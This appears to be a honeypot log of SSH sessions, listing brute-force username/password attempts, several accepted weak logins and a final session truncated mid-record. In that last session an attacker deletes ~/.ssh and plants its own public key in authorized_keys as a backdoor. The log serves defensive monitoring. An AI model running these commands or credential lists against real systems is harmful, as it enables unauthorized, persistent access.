Adversarial Observation Interface

91.92.47.120

2026-07-28 16:36:45.633028 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: teamspeak

Record ID: 03a875890141

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "03a875890141",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:45.633028Z",
  "end_time": "2026-07-28T16:36:47.649246Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "teamspeak",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:40.409980 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vilichev

Record ID: 68c81d296f1a

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "68c81d296f1a",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:40.409980Z",
  "end_time": "2026-07-28T16:36:42.619839Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "vilichev",
      "pass": "orca"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:35.092197 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lbg

Record ID: 2db9da7ab530

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2db9da7ab530",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:35.092197Z",
  "end_time": "2026-07-28T16:36:37.403200Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "lbg",
      "pass": "bob"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:29.037828 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: loom

Record ID: 908906f41358

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "908906f41358",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:29.037828Z",
  "end_time": "2026-07-28T16:36:31.429115Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "loom",
      "pass": "student"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:23.694516 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mortezamehrzad

Record ID: 4a551a474656

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4a551a474656",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:23.694516Z",
  "end_time": "2026-07-28T16:36:25.757051Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "mortezamehrzad",
      "pass": "devuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:17.109292 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mcadmin

Record ID: 9b1e797092e0

Client Version: SSH-2.0-Go

Engagement Duration: 3.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9b1e797092e0",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:17.109292Z",
  "end_time": "2026-07-28T16:36:20.749260Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "mcadmin",
      "pass": "elasticsearch"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:11.107033 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: us22

Record ID: 2b5b7192823e

Client Version: SSH-2.0-Go

Engagement Duration: 4.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2b5b7192823e",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:11.107033Z",
  "end_time": "2026-07-28T16:36:15.632646Z",
  "duration": "4.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "us22",
      "pass": "Abc12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:05.401720 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ecs-user

Record ID: 04a627ea49c5

Client Version: SSH-2.0-Go

Engagement Duration: 5.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "04a627ea49c5",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:05.401720Z",
  "end_time": "2026-07-28T16:36:10.829753Z",
  "duration": "5.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ecs-user",
      "pass": "elk@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:36:00.033389 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pey17

Record ID: 2110b6a9e275

Client Version: SSH-2.0-Go

Engagement Duration: 5.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2110b6a9e275",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:36:00.033389Z",
  "end_time": "2026-07-28T16:36:05.346074Z",
  "duration": "5.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pey17",
      "pass": "plex"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:35:54.255191 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mtproto-proxy

Record ID: 8ddd21eafb9b

Client Version: SSH-2.0-Go

Engagement Duration: 6.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8ddd21eafb9b",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:35:54.255191Z",
  "end_time": "2026-07-28T16:36:00.424610Z",
  "duration": "6.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "mtproto-proxy",
      "pass": "fahmi"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:35:48.574808 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pankaj

Record ID: 6f4d02144fd2

Client Version: SSH-2.0-Go

Engagement Duration: 5.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6f4d02144fd2",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:35:48.574808Z",
  "end_time": "2026-07-28T16:35:54.292855Z",
  "duration": "5.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pankaj",
      "pass": "trader"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:35:43.066413 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gl05

Record ID: 04a3d2545d1a

Client Version: SSH-2.0-Go

Engagement Duration: 5.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "04a3d2545d1a",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:35:43.066413Z",
  "end_time": "2026-07-28T16:35:48.744758Z",
  "duration": "5.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gl05",
      "pass": "ftpuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:35:37.431937 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: satisfactory

Record ID: 1a1c92d8679c

Client Version: SSH-2.0-Go

Engagement Duration: 3.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1a1c92d8679c",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:35:37.431937Z",
  "end_time": "2026-07-28T16:35:41.365951Z",
  "duration": "3.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "satisfactory",
      "pass": "deploy123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:35:31.701419 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: uts

Record ID: 6dd2eeaec00f

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6dd2eeaec00f",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:35:31.701419Z",
  "end_time": "2026-07-28T16:35:33.900866Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "uts",
      "pass": "Admin@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.47.120

2026-07-28 16:34:19.702452 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 40e0a7ce2e4c

Client Version: SSH-2.0-Go

Engagement Duration: 8.0s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "40e0a7ce2e4c",
  "src_ip": "91.92.47.120",
  "start_time": "2026-07-28T16:34:19.702452Z",
  "end_time": "2026-07-28T16:34:27.702800Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

192.168.0.1

2026-07-28 16:33:30.317660 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 95bed1ff4e64

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "95bed1ff4e64",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-28T16:33:30.317660Z",
  "end_time": "2026-07-28T16:33:30.329430Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 16:29:25.385394 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 398c53713efe

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "398c53713efe",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:29:25.385394Z",
  "end_time": "2026-07-28T16:31:25.450756Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 16:28:25.120320 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 439fbee7cc7e

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "439fbee7cc7e",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T16:28:25.120320Z",
  "end_time": "2026-07-28T16:28:26.291850Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:27:27.129701 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd9883c993bb

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "cd9883c993bb",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:27:27.129701Z",
  "end_time": "2026-07-28T16:29:27.135663Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:25:27.100223 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b9ffcb9483b4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b9ffcb9483b4",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:25:27.100223Z",
  "end_time": "2026-07-28T16:27:27.133566Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:23:47.934965 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vector

Record ID: b466f5ce9303

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b466f5ce9303",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:23:47.934965Z",
  "end_time": "2026-07-28T16:23:52.207492Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "vector",
      "pass": "vector"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:21:52.614198 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 65105d9a1fc9

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "65105d9a1fc9",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:21:52.614198Z",
  "end_time": "2026-07-28T16:23:52.619826Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:19:58.036987 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76ac7597f9c2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "76ac7597f9c2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:19:58.036987Z",
  "end_time": "2026-07-28T16:21:58.047582Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:18:02.221282 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f16b81b55bf0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f16b81b55bf0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:18:02.221282Z",
  "end_time": "2026-07-28T16:20:02.228850Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:16:05.768566 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ed81d8c797ef

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "ed81d8c797ef",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:16:05.768566Z",
  "end_time": "2026-07-28T16:18:05.776583Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:14:30.325464 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5f23426a85f2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5f23426a85f2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:14:30.325464Z",
  "end_time": "2026-07-28T16:16:30.351119Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:12:35.208519 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3c3a00519783

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "3c3a00519783",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:12:35.208519Z",
  "end_time": "2026-07-28T16:14:35.218158Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:10:38.023890 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ad0055509470

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ad0055509470",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:10:38.023890Z",
  "end_time": "2026-07-28T16:12:38.031739Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 16:08:43.108739 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 698a8563b49e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "698a8563b49e",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:08:43.108739Z",
  "end_time": "2026-07-28T16:10:43.118580Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

193.46.255.86

2026-07-28 16:07:39.843158 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / black13

Record ID: 223d0c72e559

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "223d0c72e559",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-28T16:07:39.843158Z",
  "end_time": "2026-07-28T16:07:45.854980Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "black13"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:06:50.271911 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e4094b271ea3

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e4094b271ea3",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:06:50.271911Z",
  "end_time": "2026-07-28T16:08:50.283674Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

45.148.10.147

2026-07-28 16:05:41.516893 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 82df08609d3c

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.8s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "82df08609d3c",
  "src_ip": "45.148.10.147",
  "start_time": "2026-07-28T16:05:41.516893Z",
  "end_time": "2026-07-28T16:05:42.290860Z",
  "duration": "0.8",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 16:05:28.200549 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 6bbda78b13ff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6bbda78b13ff",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:28.200549Z",
  "end_time": "2026-07-28T16:05:29.278805Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:05:25.904089 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 11b7eabebac5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "11b7eabebac5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:25.904089Z",
  "end_time": "2026-07-28T16:05:28.047293Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:05:23.507250 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / aa123456aa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: dd4c0dd735e7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dd4c0dd735e7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:23.507250Z",
  "end_time": "2026-07-28T16:05:29.288443Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "aa123456aa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
